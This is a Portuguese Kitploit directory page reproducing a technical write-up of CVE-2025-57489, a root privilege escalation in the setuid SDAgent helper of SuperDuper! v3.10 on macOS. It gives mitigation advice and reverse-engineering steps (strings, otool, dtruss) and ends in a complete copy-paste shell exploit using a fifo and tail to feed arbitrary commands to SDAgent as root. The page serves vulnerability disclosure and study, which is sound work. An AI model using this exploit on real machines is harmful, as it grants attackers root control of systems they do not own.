Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/graypixel2121/cve-2025-57489
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoPós-ExploraçãoTestes de PenetraçãoAnálise de BináriosAprendizado e EducaçãoRed Teaming
GitHubgraypixel2121/cve-2025-57489

CVE-2025-57489

Análise técnica e exploit de prova de conceito para CVE-2025-57489, uma vulnerabilidade de escalonamento de privilégios no SuperDuper! v3.10 via design inadequado de binário setuid, permitindo execução arbitrária de comandos como root.

há 8 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

CVE-2025-57489

Descrição

Do blog do desenvolvedor:

Quando a trava no SuperDuper é desbloqueada para permitir a execução sem precisar inserir uma senha de administrador, um programa de terceiros poderia usar nossa autorização para executar algo diferente de um backup com privilégios de administrador.

Descrição da CVE:

Controle de acesso incorreto no componente SDAgent do Shirt Pocket SuperDuper! v3.10 permite que atacantes elevem privilégios para root devido ao uso inadequado de um binário setuid.

Atribuição

Este autor não é o descobridor da vulnerabilidade, que é identificado pelo desenvolvedor do SuperDuper como "pesquisador de segurança anônimo". Não reivindico nenhum crédito pela descoberta desta vulnerabilidade, apenas me interessei em fazer uma análise técnica dela.

Referências

  • Atualização de Segurança SuperDuper v3.11
  • CVE-2025-57489

Pontuação CVSS 3.1: 8.1: Alto (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)

Mitigação

Para evitar esta vulnerabilidade, exclua o aplicativo SuperDuper! ou aplique a atualização 3.11.

Aviso: Você deve baixar a atualização diretamente do site do desenvolvedor para evitar a vulnerabilidade CVE-2025-61228.

Aviso Legal

Esta análise de exploração e prova de conceito é fornecida apenas para fins educacionais. Use por sua conta e risco.

Resumo de alto nível

O componente SDAgent do aplicativo SuperDuper! é um binário setuid. Devido ao design/implementação ruins, o SDAgent existe apenas para executar comandos de shell solicitados por outro aplicativo, e o SDAgent não parece realizar nenhuma verificação do aplicativo solicitante, nem implementar quaisquer medidas de proteção sobre quais tipos de comandos de shell podem ser solicitados. Como resultado, atacantes podem fazer com que versões afetadas da ferramenta SDAgent executem qualquer comando de shell com privilégios de root. A correção do desenvolvedor aborda apenas a falha do SDAgent em verificar o solicitante, não aborda o design da ferramenta auxiliar "puppet", deixando o agente potencialmente vulnerável a ataques futuros.

Análise: Tornando-se um Puppetmaster

A descrição do desenvolvedor sobre esse problema era vaga, mas o comentário "Quando a trava no SuperDuper é desbloqueada" me apontou na direção certa rapidamente. Começando com uma versão mais antiga (ainda vulnerável) do SuperDuper, cliquei no ícone da trava e autentiquei. No Monitor de Atividades, percebi que um novo processo relacionado ao SuperDuper apareceu – SDAgent. Encontrei este componente no pacote do SuperDuper e examinei seus atributos no Terminal. Depois de alternar a trava para desligada/ligada, notei que o arquivo SDAgent é um binário setuid sempre que a trava está desbloqueada. Dado esse atributo e o nome do arquivo, concluí que isso deve ser uma "ferramenta auxiliar privilegiada", embora parecesse um pouco pequena para esse propósito.

Setuid é uma forma muito antiga de elevação de privilégios, e normalmente você construiria toda a funcionalidade "precisa de root" na ferramenta auxiliar e apenas pediria para ela fazer sua tarefa, ou desenvolveria um caminho de comunicação que permite que um aplicativo cliente faça solicitações específicas para a ferramenta auxiliar. Mas dado o tamanho pequeno deste arquivo SDAgent (apenas 137KB), parece improvável que ele contenha todo o código que precisa de root para o que este aplicativo afirma fazer. Minha curiosidade aguçada, executei o utilitário "strings" no SDAgent para ter uma ideia do que ele deveria fazer. Isso acabou sendo muito esclarecedor. Praticamente não houve saída (comparado ao que você normalmente veria para um binário de aplicativo), e a saída basicamente mostra que o SDAgent tem apenas uma função: executar qualquer script de shell fornecido pelo solicitante, por exemplo:

root@kitploit:~
% strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
/bin/bash
bash
SDAgent could not fork process 
****DONE****

É um design ruim criar uma ferramenta auxiliar que execute literalmente qualquer comando; "não seja um fantoche" é uma regra importante a seguir ao fazer uma ferramenta auxiliar.

Prossegui com a suposição de que o SuperDuper deve abrir o SDAgent, estabelecer um pipe de comunicação e depois enviar scripts de shell para o SDAgent. Uma breve exploração no pacote do aplicativo SuperDuper mostrou que eu estava no caminho certo. Este aplicativo parece administrar toda a sua atividade de cópia por meio de scripts de shell.

Fiz algumas tentativas fracas de simplesmente encaminhar comandos para o agente:

root@kitploit:~
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
zsh: done                printf "whoami" | 
zsh: segmentation fault  /Applications/SuperDuper!.app/Contents/MacOS/SDAgent

O SDAgent travou, acho que não será tão fácil! Imperturbável, comecei a fazer algumas suposições baseadas em como aplicativos auxiliares setuid normalmente funcionam. Entre um par de utilitários de shell, você normalmente criaria alguns pipes para stdin, stdout e stderr, depois fork e exec. O processo filho herdaria uma cópia de cada pipe, então cada lado teria automaticamente pipes de comunicação abertos para o outro. Com um aplicativo que se vincula a frameworks de alto nível, fork() não é uma opção. Em vez disso, você teria que desenvolver alguma forma de comunicar ao aplicativo filho como você pretende se comunicar com ele. A saída de "strings" forneceu uma pista:

root@kitploit:~
strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent 
...
STDIN_PIPE_READ_FD
%i %i %i

"STDIN_PIPE_READ_FD" – o desenvolvedor é muito transparente sobre o que está acontecendo aqui. Podemos obter um pouco mais de contexto sobre esta string do otool:

root@kitploit:~
otool -tV /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent 
/Applications/SuperDuper!.app/Contents/MacOS/SDAgent:
...
00000001000011a8	leaq	0xa56(%rip), %rdi               ## literal pool for: "STDIN_PIPE_READ_FD"
00000001000011af	callq	0x1000017f6                     ## symbol stub for: _getenv

OK, então é provavelmente uma variável de ambiente. Vamos tentar o truque fácil do pipe novamente, e vou assumir que o SDAgent simplesmente receberá meus comandos do seu descritor de arquivo stdin (0):

root@kitploit:~
export STDIN_PIPE_READ_FD=0
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent

1557%

Depois de algumas repetições, ficou claro que "1557" era o ID do processo do SDAgent gerado. Não muito útil (e não a saída "root" que eu esperava), mas não travou desta vez, então foi encorajador. Tentei novamente com algo que faria uma alteração no sistema de arquivos:

root@kitploit:~
printf "touch /Library/test" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent

1593%

Não, o arquivo não foi criado; hora de arregaçar as mangas. Desabilitei o SIP, iniciei o dtruss e pedi ao SuperDuper para executar uma tarefa. Logo após autenticar para iniciar a tarefa, vejo a seguinte saída do dtruss (anexado ao processo SDAgent):

root@kitploit:~
read(0x0, "21 23 24 \0", 0x800)		 = 9 0
dup2(0x15, 0x1, 0x0)		 = 1 0
dup2(0x17, 0x2, 0x0)		 = 2 0
write(0x1, "1615\0", 0x4)		 = 4 0

O SDAgent inicialmente lê do descritor de arquivo 0 (stdin) para entrada (provavelmente o FD indicado por STDIN_PIPE_READ_FD). Aqui vemos que ele lê três números. Com base na sequência, suponho que o SuperDuper abriu três pipes e está enviando as extremidades de escrita, escrita e leitura desses três pipes para o SDAgent. O SDAgent então duplica os dois primeiros para stdout e stderr (não consigo dizer para que o terceiro é usado). Finalmente, ele escreve "1615" (o PID atual do SDAgent) no stdout (então agora o SuperDuper sabe o PID do SDAgent) e então escuta por comandos adicionais no fd 0. Após tentativa e erro, ficou claro que precisamos enviar alguns descritores de arquivo para o SDAgent antes que ele faça o que queremos. stdout (1) e stderr (2) já estarão abertos e graváveis no ambiente do shell, então tentei estes:

root@kitploit:~
printf "1 2 \0whoami\0" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
~ % 1602

Novamente, não travou, mas como um adolescente ansioso, o SDAgent está terminando cedo e não estou obtendo o resultado "root" que esperava. O dtruss mostra que ele está lendo os descritores de arquivo, mas ignorando o resto. Isso não é surpreendente dado o terminador de string nulo, provavelmente precisamos de uma lacuna entre essas strings para que o SDAgent as trate como solicitações separadas. Então, precisaremos conectar o SDAgent a um pipe no qual possamos escrever mais de uma vez.

Neste ponto, eu poderia escrever um aplicativo C simples que abre alguns pipes, gera o SDAgent, escreve os descritores de arquivo no pipe stdin e, após uma breve pausa, envia seus argumentos (ou seja, a carga do ataque) para o pipe para executá-los. Enquanto começava a escrever esse código, ocorreu-me que provavelmente poderia alcançar toda a funcionalidade dessas 50+ linhas de código compilado em um par de comandos de shell simples. Eu realmente só preciso de um método para estabelecer e manter aberto um pipe para o processo SDAgent. "mkfifo" servirá a esse propósito: fifos existem como arquivos no disco, mas você pode encaixar pipes neles. De um lado, precisaremos de algo que leia do fifo e depois repita esse conteúdo para o SDAgent do outro lado do pipe. Preciso escrever os descritores de arquivo no pipe inicialmente, mas também preciso manter o pipe aberto para poder enviar comandos de carga. Se o processo de qualquer lado do pipe sair, o pipe fecha. O utilitário tail e o operador de segundo plano foram fundamentais:

root@kitploit:~
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &

[1] 1964 1965

Isso gerou dois jobs em segundo plano: tail (1964) e SDAgent (1965). Ambos os processos permanecem em execução em segundo plano, então o pipe entre eles persiste. O tail está esperando que dados sejam adicionados ao fifo e então irá encaminhar esses dados para o SDAgent. Fantasticamente simples. Em seguida, envie os descritores de arquivo:

root@kitploit:~
printf "1 2 \0" > /tmp/puppet

O dtruss mostrou que o SDAgent leu os descritores de arquivo e que o SDAgent ainda está em execução, aguardando mais entrada. Agora o momento da verdade:

root@kitploit:~
printf 'whoami\0' > /tmp/puppet
~ % root
****DONE****

Funcionou! De novo?

root@kitploit:~
printf 'touch /Library/test; ls /Library/test\0' > /tmp/puppet
~ % /Library/test
****DONE****

É isso! Quando juntei tudo em um único bloco de comandos de shell copiar/colar, ainda achei o SDAgent um pouco lento no processamento dos descritores de arquivo. Um pequeno atraso, e estamos prontos:

root@kitploit:~
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
printf "1 2 \0" > /tmp/puppet
sleep 1
printf 'whoami\0' > /tmp/puppet

Para exploits de root, este foi surpreendentemente fácil de descobrir e é realmente fácil para um atacante aproveitar.

Baixar ferramenta